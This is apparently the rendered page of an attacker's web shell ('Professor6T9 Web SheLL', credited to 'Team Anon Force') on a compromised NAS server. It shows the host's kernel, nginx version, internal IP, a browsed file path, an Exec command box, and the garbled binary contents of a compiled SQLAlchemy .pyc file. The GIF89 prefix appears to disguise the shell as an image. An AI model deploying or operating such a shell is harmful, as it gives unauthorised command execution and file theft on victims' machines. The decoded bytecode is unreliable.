GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
orm
/
__pycache__
[ HOME ]
Exec
Submit
descriptor_props.cpython-38.pyc
U �}�h�n � @ s4 d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z dd lm Z dd lmZ ddlm Z ddlmZ dd lmZ ddlmZ G dd� de�Zejjddd�G dd� de��Zejjddd�G dd� de��Zejjddd�G dd� de��Zejjddd�e�dd�G dd� de���ZdS )z�Descriptor properties are more "auxiliary" properties that exist as configurational elements, but don't participate as actively in the load/persist ORM loop. � )� attributes)� properties)�query)�MapperProperty)�PropComparator)� _none_set� )�event)�exc)�schema)�sql)�util)� expressionc @ s e Zd ZdZdZdZdd� ZdS )�DescriptorPropertyzS:class:`.MapperProperty` which proxies access to a user-defined descriptor.NFc s� ��G �fdd�dt �}�jd krBt� j�jd �}� �|�rB|�_�jd kr��fdd�}�fdd�}�fdd�}t|||d ��_t��j��j j�j�j� �fd d��j �d�}|�j�|_� j� �j|� d S ) Nc sL e Zd ZdZdZdZe� fdd��Zdd� Ze � d�rHe jf� fdd � Zd S )z7DescriptorProperty.instrument_class.<locals>._ProxyImplFTc s � j S �N)�uses_objects��self��prop� �F/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/orm/descriptor_props.pyr , s zDDescriptorProperty.instrument_class.<locals>._ProxyImpl.uses_objectsc S s || _ d S r ��key)r r r r r �__init__0 s z@DescriptorProperty.instrument_class.<locals>._ProxyImpl.__init__�get_historyc s � � |||�S r )r )r �state�dict_�passiver r r r 5 s zCDescriptorProperty.instrument_class.<locals>._ProxyImpl.get_historyN) �__name__� __module__�__qualname__Zaccepts_scalar_loaderZexpire_missingZ collection�propertyr r �hasattrr �PASSIVE_OFFr r r r r � _ProxyImpl'